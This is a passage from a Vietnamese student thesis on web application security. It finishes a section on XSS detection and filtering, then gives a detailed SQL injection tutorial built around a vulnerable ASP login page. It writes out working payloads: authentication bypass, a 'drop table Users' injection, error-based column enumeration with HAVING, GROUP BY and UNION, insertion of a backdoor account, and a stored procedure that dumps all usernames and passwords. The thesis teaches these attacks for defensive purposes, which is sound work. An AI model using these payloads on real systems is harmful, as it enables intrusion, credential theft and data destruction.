Như vậy là khi người dùng xem trang web chứa tập tin flash này thì ngay lậptức cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về chohacker

Trang 29

I.4 Phát hiện XSS bằng cách nào?

Nếu như chúng ta sử dụng các mã nguồn của các chương trình có sẵn chúng ta

có thể tham khảo danh sách các lỗ hổng của chương trình bán trên các trangweb chứa các thông tin về bảo mật như securityfocus.com, securiteam.com, Tuy nhiên nếu các website được tự viết mã nguồn thì chúng ta không thể ápdụng phương pháp trên Trong trường hợp này ta cần đến các chương trìnhscanner tự động Nếu sử dụng trong môi trường Windows chúng ta có thể dùngN-Stealth hay AppScan, đó là những chương trình scan khá tốt, ta không chỉkiểm tra được các lỗi XSS mà nó còn cho phép ta kiểm tra các lỗi khác trongWebsite đó, Server đó

JavaScript/Java/VBScript/ActiveX/Flash Related nào

o Lọc dấu nháy đơn hay kép

o Lọc kí tự Null ( vì khả năng thêm một đoạn mã bất kì sau kí tựNull khiến cho ứng dụng dù đã lọc bỏ thẻ <script> vẫn không nhận

ra do ứng dụng nghĩ rằng chuỗi đã kết thúc từ kí tự Null này)

o Xóa những kĩ tự “>”, “<”

o Vẫn cho phép nhập những kí tự đặc biệt nhưng sẽ được mã hóatheo chuẩn riêng

Trang 30

 Đối với người dùng, cần cấu hình lại trình duyệt để nhắc nhở người dùng

có cho thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vàomức độ tin cậy mà người dùng sẽ quyết định

Nhận xét:

Kĩ thuật XSS khá phổ biến và dễ dàng áp dụng, tuy nhiên mức độ thiệt hại chỉdừng lại ở mức độ tấn công trên máy nạn nhân thông qua những liên kết hayform lừa đảo mà hacker đưa đến cho nạn nhân Vì thế, ngoài việc ứng dụngkiểm tra tính đúng đắn của dữ liệu trước khi sử dụng thì việc cần nhất là ngườidùng nên cảnh giác trước khi bước vào một trang Web mới Có thể nói, nhờvào sự cảnh giác của người dùng thì 90% đã đạt được sự bảo mật trong kĩ thuậtnày

III CHÈN CÂU TRUY VẤN SQL (SQL INJECTION)

IV.1 Khái niệm SQL Injection

SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ hổngtrong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗicủa hệ quản trị cơ sở dữ liệu để “tiêm vào” (inject) và thi hành các câu lệnhSQL bất hợp pháp ( không được người phát triển ứng dụng lường trước) Hậuquả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện cácthao tác xóa, hiệu chỉnh,… do có toàn quyền trên cơ sở dữ liệu của ứng dụng,thậm chí là server mà ứng dụng đó đang chạy Lỗi này thường xảy ra trên cácứng dụng web có dữ liệu được quản trị bằng các hệ quản trị cơ sở dữ liệu nhưSQL Server, MySQL, Oracle, DB2, Sysbase

IV.2 Các cách tấn công

Trang 31

Có bốn dạng thường được sử dụng để tấn công cơ sở dữ liệu, bao gồm: vượtqua kiểm tra lúc đăng nhập (authorization bypass), sử dụng câu lệnh SELECT,

sử dụng câu lệnh INSERT, sử dụng các stored-procedures

Để trình bày tốt nội dung này, đồ án sử dụng bảng Users

STT Tên trường Kiểu trường Kích thước

2 Username Varchar 50

3 Password Varchar 50

Ngôn ngữ lập trình sử dụng để minh họa là ASP với cơ sở dữ liệu là SQL

IV.2.1 Kĩ thuật tấn công vượt qua kiểm tra đăng nhập (authorization

bypass)

Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờvào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụngweb

Xét một ví dụ điển hình, thông thường để cho phép người dùng truy cập vàocác trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêucầu người dùng nhập thông tin về tên đăng nhập và mật khẩu Sau khi ngườidùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu cóhợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp theo

Ví dụ: Trang ASP xử lí dữ liệu người dùng đăng nhập có đoạn mã xử lí dữ liệunhư sau:

<%

username = Trim(Request("txtUserName"))

password = Trim(Request("txtPassWord"))

Trang 32

DSN="driver={SQL Server};server=(local);uid=sa;pwd=sa;

database=data1"

'strconn="provider=SQLOLEDB.1;Data Source=localhost;Persist Security Info=False;User ID=sa;PWD=sa; Initial Catalog=Sach" Set RS = Server.CreateObject("ADODB.Recordset")

Set Conn = Server.CreateObject("ADODB.Connection")

conn.open DSN

SQL = "SELECT * FROM Quantri WHERE UserName='" & username &

"'and PassWord ='"& password&"'"

Response.Redirect("user.html") End if

Trang 33

Ví dụ 1:

Giá trị nhập vào là:

Username: ‘or’’=’ Hoặc hi' or

1=1 Password : ‘or’’=’ Hoặc hi' or 1=1—

Lúc này câu lệnh SQL như sau:

SELECT * FROM Users WHERE Username='’OR’’=’' AND

Câu truy vấn trên là luôn luôn đúng vì ‘’ luôn đúng ‘’ và sẽ trả về tất cả các

bản ghi của Users và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợppháp này như là người dùng đăng nhập hợp lệ

Kết hợp với kí tự đặc biệt của SQL:

Trang 34

 Kí tự “;”: đánh dấu kết thúc 1 câu truy vấn

 Kí tự “ “: ẩn chuỗi kí tự phía sau nó trên cùng 1 dòng

Ví dụ 2:

Username: ‘; drop table

Users Password:

Câu lệnh SQL lúc này như sau:

SELECT * FROM Users WHERE Username='’;drop table Users AND Password=;

Với câu lệnh trên thì bảng Users sẽ bị xóa hoàn toàn

Nếu như ta đã biết một tên User nào đó thì có thể nhập vào:

Username: admin’

Password:

Câu lệnh SQL lúc này như sau:

SELECT * FROM Users WHERE Username='admin’ AND Password= ;

Câu lệnh trên cho phép đăng nhập với quyền của User đó mà không đòi hỏipassword

IV.2.2 Tấn công dựa vào câu lệnh SELECT

Ngoài kĩ thuật đơn giản trên, việc tấn công thường dựa trên những thông báolỗi để lấy thông tin về bảng cũng như những trường trong bảng Để làm đượcđiều này, cần phải hiểu những thông báo lỗi và từ đó chỉnh sửa nội dung nhậpcho phù hợp

Câu truy vấn cần để đăng nhập:

sqlStr="SELECT * FROM users WHERE username='"+username+"' AND password='"+password+"'"

Trang 35

Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử dụng câuđiều kiện “having”, như ví dụ sau:

Giá trị nhập vào:

Username : ‘having

1=1 Lỗi phát sinh:

Microsoft OLE DB Provider for SQL Server (0x80040E14)

Column 'users.Id' is invalid in the select list because it is not contained in an

Nhờ vào lỗi phát sinh này mà biết được bảng sử dụng trong câu truy vấn làUsers và trong bảng tồn tại một trường tên là Id

Sau đó sử dụng GROUP BY:

Username :‘group by User.Id having

1=1 Lỗi phát sinh:

Microsoft OLE DB Provider for SQL Server (0x80040E14)

Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Như vậy username là một trường được sử dụng trong bảng users và tham giavào câu truy vấn

Tiếp tục sử dụng GROUP BY:

Username: ‘group by users.Id,users.username having

Trang 36

1=1 Lỗi phát sinh:

Microsoft OLE DB Provider for SQL Server (0x80040E14)

Column 'users.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Như vậy password là một trường được sử dụng trong bảng users và tham giavào câu truy vấn

Tiếp tục dùng GROUP BY cho đến khi biết được tất cả các trường trong bảngUser tham gia vào câu truy vấn.Khi không còn báo lỗi cú pháp GROUP BYnữa thì chuyển qua công đoạn kiểm tra kiểu của từng trường trong bảng Lúcnày UNION được sử dụng:

Username: ‘union select sum(Id) from Users

Lệnh sum là lệnh tính tổng cho đối số bên trong dấu ngoặc Đối số phải là kiểu

số Nếu đối số không là kiểu số thì phát sinh lỗi như sau:

Microsoft OLE DB Provider for SQL Server (0x80040E07)

The sum or average aggregate operation cannot take a nchar data type as an

Username: ';INSERT INTO Users VALUES

Trang 37

(‘100’,'hacker','',1) Như vậy là hacker đã có một tài khoản để đăng nhập mà không cần mật khẩuchứng thực.

Đây là một cách khác để xác định nội dung của bảng User, sử dụng phươngpháp tìm kiếm thông tin như sau:

 Bước 1:

Tìm tuần tự từng dòng trên bảng Users

Username: ‘union select 1,1,1,1

Người đầu tiên trong bảng Users là “admin”

 Bước 2:

Để biết các giá trị tiếp theo, nhập chuỗi sau:

Username: ‘;select min(Username),1,1,1 from Users where Username>

‘admin’ union select 1,1,1,1 from

Trang 38

Thực hiện như bước 2 cho ra kết quả từng dòng với trường Usernametrong bảng Users.

 Bước 4:

Để biết thêm về Password, có thể thực hiện như sau:

Username: ‘; select Password,1,1,1 from Users where

Username=’admin’ union select 1,1,1,1 from Users

Lỗi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ [Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error converting the varchar

value ‘password’ to a column of data type int.

Hacker cũng có thể tạo ra một bảng tạm trên cơ sở dữ liệu của bạn và bảng tạmnày chỉ có một field và column duy nhất chứa tất cả dữ liệu của bảng users vàmột lúc họ có thể xem toàn bộ dữ liệu sau đó xóa bảng tạm này đi

Ví dụ : Minh họa một công đọan sẽ giúp hacker đọc hết thông tin trong bảngUser:

 Bước 1 : tạo một Stored procedure để chép vào tất cả thông tin của 2trường Username và Password trong bảng Users thành một chuỗi vàomột bảng mới là foo có một trường là ret bằng đoạn mã sau:

Create pro test

As

Begin

Declare @ret varchar(8000)

Set @ret=’:’

Select @ret=@ret+’ ‘+Username+’/’+Password from Users

Select @ret as ret into foo

Ngày đăng: 15/12/2015, 11:32

HÌNH ẢNH LIÊN QUAN

Hình hiển thị tấn công DoS - dạng tấn công Smurf sử dụng gói  ICMP  làm ngập các giao - Một số vấn đề về bảo mật ứng dụng web và demo lỗi SQL injections
Hình hi ển thị tấn công DoS - dạng tấn công Smurf sử dụng gói ICMP làm ngập các giao (Trang 49)
Hình : Tấn công kiểu DRDoS - Một số vấn đề về bảo mật ứng dụng web và demo lỗi SQL injections
nh Tấn công kiểu DRDoS (Trang 55)

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w